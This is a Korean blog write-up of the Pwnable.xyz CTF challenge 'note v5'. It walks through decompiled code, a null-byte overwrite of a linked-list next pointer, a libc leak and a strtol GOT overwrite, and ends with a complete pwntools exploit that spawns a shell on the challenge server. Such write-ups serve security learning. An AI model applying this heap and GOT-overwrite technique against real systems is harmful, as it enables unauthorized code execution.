tmxklab

[Pwnable.xyz] note v5 본문

War Game/Pwnable.xyz

[Pwnable.xyz] note v5

tmxk4221 2020. 9. 9. 22:37

1. 문제

nc svc.pwnable.xyz 30047

 

1) mitigation 확인

 

2) 문제 확인

  • 총 3개의 메뉴가 있으며 노트를 작성하고 읽고 수정하는 프로그램

 

 

3) 코드흐름 파악

3-1) main()

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  __int64 *v3; // rbx
  int i; // ebp
  __int64 *v5; // r12
  int select; // eax
  __int64 v7; // [rsp+0h] [rbp-48h]
  unsigned __int64 v8; // [rsp+28h] [rbp-20h]

  v8 = __readfsqword(0x28u);
  setup();
  puts("====== Welcome to notes v5 ======");
  puts("Here is your favorite note taking, menu driven pwn #0\n");
  while ( 1 )
  {
    _printf_chk(1LL, "Menu:\n 1. Make note.\n 2. Read note.\n 3. Edit note.\n 4. Exit.\n> ");
    v3 = &v7;
    for ( i = 0; ; ++i )
    {
      v5 = v3;
      if ( (unsigned int)read(0, v3, 1uLL) == -1 )
        break;
      v3 = (__int64 *)((char *)v3 + 1);
      if ( *(_BYTE *)v5 == 10 || i == 13 )
        break;
    }
    *(_BYTE *)v5 = 0;
    select = strtol((const char *)&v7, 0LL, 10);
    if ( select == 2 )
    {
      read_note();
    }
    else if ( select <= 2 )
    {
      if ( select == 1 )
        make_note();
    }
    else if ( select == 3 )
    {
      edit_note();
    }
    else if ( select == 4 )
    {
      puts("Bye bye o/");
      exit(0);
    }
  }
}
  • 메뉴 1 → make_note(), 메뉴 2 → read_note(), 메뉴 3 → edit_note()

 

3-2) make_note()

void __cdecl make_note()
{
  notes *note; // rax
  notes *head_1; // rdx
  notes *head_2; // rcx
  char *content; // rbx
  int count; // ebp
  int index; // er12

  note = (notes *)malloc(0x40uLL);
  head_1 = (notes *)head;
  head_2 = (notes *)head;
  if ( head )
  {
    while ( head_2->next )
      head_2 = head_2->next;
    note->index = (int)((unsigned __int64)head_2->index + 1);
    while ( head_1->next )
      head_1 = head_1->next;
    head_1->next = note;
  }
  else
  {
    note->index = 0LL;
    head = (__int64)note;
  }
  note->size = 0x28LL;
  content = note->content;
  count = 0;
  _printf_chk(1LL, "Input note: ");
  index = *((_QWORD *)content - 2);
  if ( index >= 0 )
  {
    while ( (unsigned int)read(0, content, 1uLL) != -1 && *content != 10 && index != count )
    {
      ++count;
      ++content;
      if ( index < count )
        goto LABEL_16;
    }
    *content = 0;
  }
LABEL_16:
  _printf_chk(1LL, "\n");
}
  • single-linked-list구조로 노드들을 연결하며 생성 갯수는 제한되어 있지 않다.
  • 각 노드(청크)들의 마지막 부분에는 next pointer가 온다.

 

3-3) read_note()

void __cdecl read_note()
{
  __int64 *v0; // rbx
  int i; // ebp
  __int64 *v2; // r12
  int index; // ebx
  __int64 head_1; // rdx
  __int64 v5; // [rsp+0h] [rbp-48h]
  unsigned __int64 v6; // [rsp+28h] [rbp-20h]

  v6 = __readfsqword(0x28u);
  if ( head )
  {
    _printf_chk(1LL, "Note id: ");
    v0 = &v5;
    for ( i = 0; ; ++i )
    {
      v2 = v0;
      if ( (unsigned int)read(0, v0, 1uLL) == -1 )
        break;
      v0 = (__int64 *)((char *)v0 + 1);
      if ( *(_BYTE *)v2 == '\n' || i == '\r' )
        break;
    }
    *(_BYTE *)v2 = 0;
    index = strtol((const char *)&v5, 0LL, 10);
    _printf_chk(1LL, "\n");
    head_1 = head;
    do
    {
      if ( index == *(_DWORD *)(head_1 + 8) )
      {
        _printf_chk(1LL, "Your note: %s\n");
        return;
      }
      head_1 = *(_QWORD *)(head_1 + 56);
    }
    while ( head_1 );
    puts("ERROR: Note not found.");
  }
  else
  {
    puts("ERROR: You need to make a note first.");
  }
}
  • single-linked-list로 연결된 노드들의 index부분에 index와 비교하여 찾으면 해당 content부분을 읽는다.

 

3-4) edit_note()

void __cdecl edit_note()
{
  __int64 *v0; // rbx
  int i; // ebp
  __int64 *v2; // r12
  int v3; // ebp
  __int64 head_1; // rbx
  __int64 v5; // rax
  _BYTE *v6; // rbx
  int v7; // er12
  int v8; // ebp
  __int64 v9; // [rsp+0h] [rbp-48h]
  unsigned __int64 v10; // [rsp+28h] [rbp-20h]

  v10 = __readfsqword(0x28u);
  if ( head )
  {
    _printf_chk(1LL, "Note id: ");
    v0 = &v9;
    for ( i = 0; ; ++i )
    {
      v2 = v0;
      if ( (unsigned int)read(0, v0, 1uLL) == -1 )
        break;
      v0 = (__int64 *)((char *)v0 + 1);
      if ( *(_BYTE *)v2 == '\n' || i == '\r' )
        break;
    }
    *(_BYTE *)v2 = 0;
    v3 = strtol((const char *)&v9, 0LL, 10);
    _printf_chk(1LL, 4198083LL);
    head_1 = head;
    while ( v3 != *(_DWORD *)(head_1 + 8) )
    {
      head_1 = *(_QWORD *)(head_1 + 56);
      if ( !head_1 )
      {
        puts("ERROR: Note not found.");
        return;
      }
    }
    _printf_chk(1LL, "New note: ");
    v5 = *(_QWORD *)head_1;
    v6 = (_BYTE *)(head_1 + 16);
    v7 = v5;
    if ( (int)v5 >= 0 )
    {
      v8 = 0;
      while ( (unsigned int)read(0, v6, 1uLL) != -1 && *v6 != 10 && v7 != v8 )
      {
        ++v8;
        ++v6;
        if ( v7 < v8 )
          goto LABEL_17;
      }
      *v6 = 0;
    }
LABEL_17:
    _printf_chk(1LL, 4198083LL);
  }
  else
  {
    puts("ERROR: You need to make a note first.");
  }
}
  • single-linked-list로 연결된 노드들의 index부분에 index와 비교하여 찾으면 해당 content부분에 값을 쓴다.

 

전역변수)

 


2. 접근방법

 

1) null byte poison 취약점

  • 노트를 3개 생성했을 때 상황이다. 마지막 next pointer를 통해 노드들이 연결되어 있음을 알 수 있다.

  • edit_note()를 통해 1번 인덱스의 노트를 수정했을 때 상황이다.
  • 최대 28byte까지 입력을 받을 수 있어 28byte 꽉 채워서 변경하게 되면 마지막 next pointer에 위치한 주소의 하위 1byte가 널 값으로 채워지게 된다.

해당 취약점을 이용하여 libc leak하고 aaw를 진행하면 되겠다.

 

 

2) libc leak 과정

  • null byte poison을 일으켜 next pointer를 주작한다.
  • 그러면 이전 노드의 content부분을 가르킨다.

  • fake note를 생성한다. → size : 0x100, index : 0xff
  • 이후에 0xff를 찾아서 edit를 하게 된다면 값을 0x1788710부터 쓸 수 있고 0x17886f0의 next pointer를 주작할 수 있다.

  • read_note()를 통해서 leak하기 위해서 note구조체와 비슷하게 note+0x8위치에 index값이 존재해야 한다.
  • index의 type은 int형이므로 stdout의 _lock멤버변수를 릭할 수 있다. index = 0x0a000000(4byte)
  • index부분이 달라지면 안되므로 다른 부분에서도 저렇게 index가 고정되어 있고 content부분에 leak할 수 있는 libc주소가 있다면 사용해도 된다.

  • edit_note를 이용해서 next pointer를 위에서 찾은 주소에 넣는다.
  • 그러면 read_note를 하게 되면 아까 stdout의 멤버변수 _lock을 릭할 수 있을 것이다.

 

3) strtol@got overwrite

해당 바이너리에서는 index값을 가져오기 위해 strtol()을 사용한다.

예전에 strtol@got에 system함수를 박고 index에 "/bin/sh"를 넣는 방법이 유용해서 해당 방법을 사용하기로 한다.

방법은 위에서 한 방식이랑 같다. read_note대신에 edit_note를 하면 되고 문제는 저 stdout → _lock의 주소 값을 릭하고 나서 libc base address를 계산해야 한다.

 

 

먼저 로컬 libc를 까보자

_lock멤버 변수에 어떤 값이 세팅되어 있다. → 0x3c6780

 

 

그리고 다시 challenge파일로 돌아와서 확인해보면

_lock변수에는 data영역의 주소 값이 있고 offset이 0x780인 것을 알 수 있다.

 

그리고 우리가 구해야할 code영역의 base 주소는 0x7ffff7a0d000이다.

data base address(0x7ffff7dd3000) - code base address(0x7ffff7a0d000) = 0x3C6000

 

결론적으로 leak한 주소에 0x3c6780(0x780+0x3c6000)을 빼면 libc base address를 구할 수 있다.

이걸 통해 아까 로컬 libc를 깠을 때 _lock멤버 변수에 있던 0x3c6780이 offset인 것을 알 수 있다.

 

그럼 주어진 libc를 까보면 (ㄷㄷ 여기서는 $p _IO_2_1_stdout_이 안먹힘)

stdout 주소 : 0x3942a0

_lock멤버 변수 offset : 0x395770

이걸 통해서 system함수 구하고 strtol@got overwrite한 다음에 menu입력할 때 "/bin/sh"하면 끝


3. 풀이

 

1) 익스코드

from pwn import *

context.log_level = "debug"

#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30047)

e = ELF("./challenge")
libc = ELF("./libc.so")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")  


system_offset = libc.symbols['system']
signal_offset = libc.symbols['signal']

def make(data):
	p.sendlineafter("> ", str(1))
	p.sendlineafter("Input note: ", data)


def read(idx):
	p.sendlineafter("> ", str(2))
	p.sendlineafter("Note id: ", str(idx))


def edit(idx, new_data):
	p.sendlineafter("> ", str(3))
	p.sendlineafter("Note id: ", str(idx))
	p.sendlineafter("New note: ", new_data)


for i in range(25):
	make(str(i))

# 1. libc leak
edit(23, "A"*0x28)
edit(22, p64(0x100) + p64(0xff))
edit(0xff, '\x00'*0x18 + p64(0x6015b8))
read(0xA000000)

p.recvuntil("note: ")
leak_addr = u64(p.recv(6).ljust(8, '\x00'))
#libc_base = leak_addr - 0x3c6000 - 0x780
libc_base = leak_addr - 0x395770
system_addr = libc_base + system_offset
signal_addr = libc_base + signal_offset

log.success("leak_addr   : " + hex(leak_addr))
log.success("libc_base   : " + hex(libc_base))
log.success("system_addr : " + hex(system_addr))
log.success("signal_addr : " + hex(signal_addr))

# 2. strtol@got overwrite
edit(7, "A"*0x28)
edit(6, p64(0x100) + p64(0xff))
edit(0xff, '\x00'*0x18 + p64(e.got['strtol']-0x18)) 
edit(signal_addr&0xffffffff, p64(0) + p64(system_addr))

p.sendlineafter("> ", "/bin/sh\x00")

p.interactive()

 

2) 실행결과

 

 


4. 몰랐던 개념

 

구조체 만들어서 쉽게 보는 방법 ㄷㄷ

https://blog.kimtae.xyz/242

'War Game > Pwnable.xyz' 카테고리의 다른 글

[Pwnable.xyz] attack  (0) 2020.09.09
[Pwnable.xyz] AdultVM 3  (0) 2020.09.09
[Pwnable.xyz] AdultVM2  (0) 2020.09.09
[Pwnable.xyz] AdultVM  (0) 2020.09.09
[Pwnable.xyz] note v4  (0) 2020.09.09
Comments